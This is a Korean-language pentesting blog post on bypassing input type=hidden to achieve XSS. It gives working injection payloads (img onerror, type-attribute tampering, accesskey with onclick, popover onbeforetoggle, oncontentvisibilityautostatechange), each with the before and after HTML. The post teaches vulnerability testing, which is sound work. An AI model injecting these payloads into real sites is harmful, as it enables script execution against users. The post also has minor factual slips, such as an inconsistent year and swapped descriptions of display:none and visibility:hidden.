HIDDEN:XSS - input type=hidden 에서의 XSS

웹 취약점 진단에서 가장 만만하면서 가장 어려울때도 있는 XSS에 대한 이야기를 할까합니다. 그 중에서도 오늘은 hidden XSS. 즉 hidden 속성을 가진 태그에 대한 xss입니다.

앞서 간단하게 hidden 속성, 왜 hidden이 우회하기 힘든지 설명하고 각각 우회 방법에 대해 이야기해보죠. 읽으시기 전에 편한 이해를 위하여 각 우회 케이스에서 사용할 단어부터 정리하고 시작하겠습니다.

  • 제약조건: 우회하기 위해 필요한 조건
  • query: 공격(Attack) Query
  • output: 결과
    • 원문: 사용자 입력 구간이 들어가는 곳(Default code)
      • [USER INJECT] -> 공격 포인트(Attack point)
    • 공격: qeury 입력으로 발생한 결과(공격으로 인한 output)

TL;DR

+ 제약조건: 사용자가 XSS를 트리거해야함. (key input)
+ query: hwul" accesskey="X" onclick="alert(45)" a="
+ output
  원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
  공격: <input type="hidden" name="xsstest" value="hwul" accesskey="X" onclick="alert(45)" a=" ">

그리고 트리거를 위한 Key binding

or

<button popovertarget=×>Click me</button>
<input type="hidden" value="y" popover id=x onbeforetoggle=alert (1)>

Type=hidden

웹은 각각의 태그와 속성으로 이루어져서 사용자에게 알아보기 좋은 웹 UI를 제공해줍니다. 브라우저가 HTML을 해석하는 과정에서 hidden type을 만나게 되면 페이지에 노출하지 않게 됩니다.

참고로 element를 숨길 수 있는 type=hidden, visibility: hidden 그리고 display: none은 둘 다 페이지 내 요소를 보이지 않게 하기 위한 속성이지만 약간의 차이가 있습니다.

  • type='hidden': 렌더링 시 element가 보이지 않게 함
  • style='visibility: hidden': 렌더링 시 element가 보이지 않게 함.
  • style='display: none': 렌더링 시 element를 보이지 않게 함. 단 position과 size는 유지

element가 유지되기 때문에 hidden으로 감춘 element는 화면상에 존재하고, 조건에 맞는 경우 XSS를 트리거할 수 있습니다.

하나 예시로 display: none 하위의 XSS 코드는 none 영역을 탈출하지 않는 이상 정상적인 구문으로도 트리거되지 않습니다. (e.g <div style="display:none"><script>alert(45)</script></div>)

어쩄던 style를 통제하는건 style 속성이나 class를 통해 visibility, display를 각각 보이도록 설정하는 형태로 풀 수 있지만 type hidden의 경우 이러한 방법으로는 어렵습니다. 그래서 오늘 이 글에선 type hidden에 대한 우회 방법을 이야기합니다.

<!-- 혹시나 궁금하실까봐 style에 대한 부분을 넣어보면 -->
<!-- display:block !important 와 같이 important를 넣어 덮으면 됩니다. -->
<input value="[USER INJECT]" style="display:none" >
<input value="" onmouseover=alert(45) style="display:block !important;" a="" style="display:none" >

Hidden type XSS

Escape tag

일반적인 XSS 방법으로 quote(‘), double qoute(“)를 통해 hidden element 밖으로 나가 새로운 element를 만드는 방법입니다.

+ 제약조건: 특수문자 우회(" ' < >)
+ query: "><img src="z" onerror="alert(45)">
+ output
  원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
  공격: <input type="hidden" name="xsstest" value=""><img src="z" onerror="alert(45)">">

Tampering type attribute

이 방법은 사용자 입력이 type 속성보다 앞이 있을 때 가능합니다. 원래 선언된 type보다 먼저 type을 선언하여 해당 element가 다른 type을 가지도록 변경합니다.

+ 제약조건: user input이 type 속성보다 앞에 선언되어야 함 / 특수문자 우회(" or ')
+ query: " type="text" onfocus="alert(45)" autofocus a="
+ output
  원문: <input name="xsstest" value="[USER INJECT]" type="hidden">
  공격: <input name="xsstest" value="" type="text" onfocus="alert(45)" autofocus a="" type="hidden">

보통 input 등에서 id, type 선언은 가장 앞쪽으로 권고됩니다. 다만 때때로 사용자 입력이 앞에 위치하고, attribute를 탈출할 수 있는 경우 id나 type을 선언하여 우회하거나 다른 보안 이슈를 만들어낼 수 있습니다.

display:block으로 태그를 강제로 끌어내기

세번째 방법은 구버전의 IE(6,7,8)과 Firefox 구버전에서 가능한 방법입니다. 아직 아주 구버전의 소프트웨어를 사용하는 사용자가 존재하기 때문에 같이 언급하면 좋을 것 같아 작성하였습니다.

+ 제약조건: 패치 이전 브라우저(IE6/7/8, firefox 구버전) , 특수문자 우회(' or ")
+ query: " onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="
+ output
  원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
  공격: <input type="hidden" name="xsstest" value="" onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="">

예전에 가능했던 방법이며 현재는 대부분의 브라우저에서 style보다 type=hidden이 우선되기 때문에 영향력이 없습니다.

accesskey + onclick

accesskey 라는 속성을 이용하면 type=hidden 상태에서도 click 이벤트 핸들러를 동작시킬 수 있습니다. 다만 키 입력 조건이 필요하니 아래 OS 별 입력 조건을 확인해주세요.

+ 제약조건: 사용자가 XSS를 트리거해야함. (key input)
+ query: hwul" accesskey="X" onclick="alert(45)" a="
+ output
  원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
  공격: <input type="hidden" name="xsstest" value="hwul" accesskey="X" onclick="alert(45)" a=" ">

Key Binding

Browser Windows Linux Mac
Firefox Alt + Shift + key   Control + Option + key or Control + Alt + key
Internet Explorer Alt + key Alt + Shift+ key 없음  
Edge   없음 Control + Option + key or Control + Option + Shift + key
Google Chrome   Alt + Shift+ key  
Safari 없음    
Opera 15+ Alt + key   Control + Alt + key
Opera 12 Shift + Esc를 통해 접근 가능한 단축키 목록을 열고, 그 중에서 key를 눌러 선택합니다.    

사용자에게 입력을 유도할 수 있다면 좋은 우회방법이겠지요.

Using onbeforetoggle

onbeforetoggle eventhandler로도 hideen type에서의 XSS를 진행할 수 있습니다. 관련 내용은 PortSwigger의 글에 잘 나와있으니 참고 부탁드려요.

<button popovertarget=×>Click me</button>
<input type="hidden" value="y" popover id=x onbeforetoggle=alert(1)>

Using oncontentvisibilityautostatechange

2024년 7월에 새로 추가된 벡터입니다. oncontentvisibilityautostatechange 를 통해 트리거 시 Chrome 브라우저에서 사용자 interaction 없이 XSS 동작이 가능합니다.

<input type="hidden" oncontentvisibilityautostatechange="alert(/ChromeCanary/)" style="content-visibility:auto">

자세한 내용은 Hidden XSS? No User Interaction! 글을 참고해주세요.

Conclusion

앞에 3가지 방법은 hidden을 우회하기 위해서 많이 찾아보셨을 것 같습니다. 4번은 트리거 조건은 약간 있지만 우회가 가능하고 이것에 대해서 따로 패치도 없었기 때문에 진단/모의해킹 시 나름 유용하게 사용될 수 있을 것 같네요. 그리고 2023년에 추가된 5번 또한 브라우저의 제약은 살짝 있지만, 굉장히 유용하게 쓰일 수 있습니다.

무엇이던 항상 가까운곳에 해답이 있다고 생각합니다. 찾다보면 자기만의 재미있는 우회 방법이 생겨나지요 :D

Reference

  • https://developer.mozilla.org/ko/docs/Web/HTML/Global_attributes/accesskey
  • https://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html
  • https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/hidden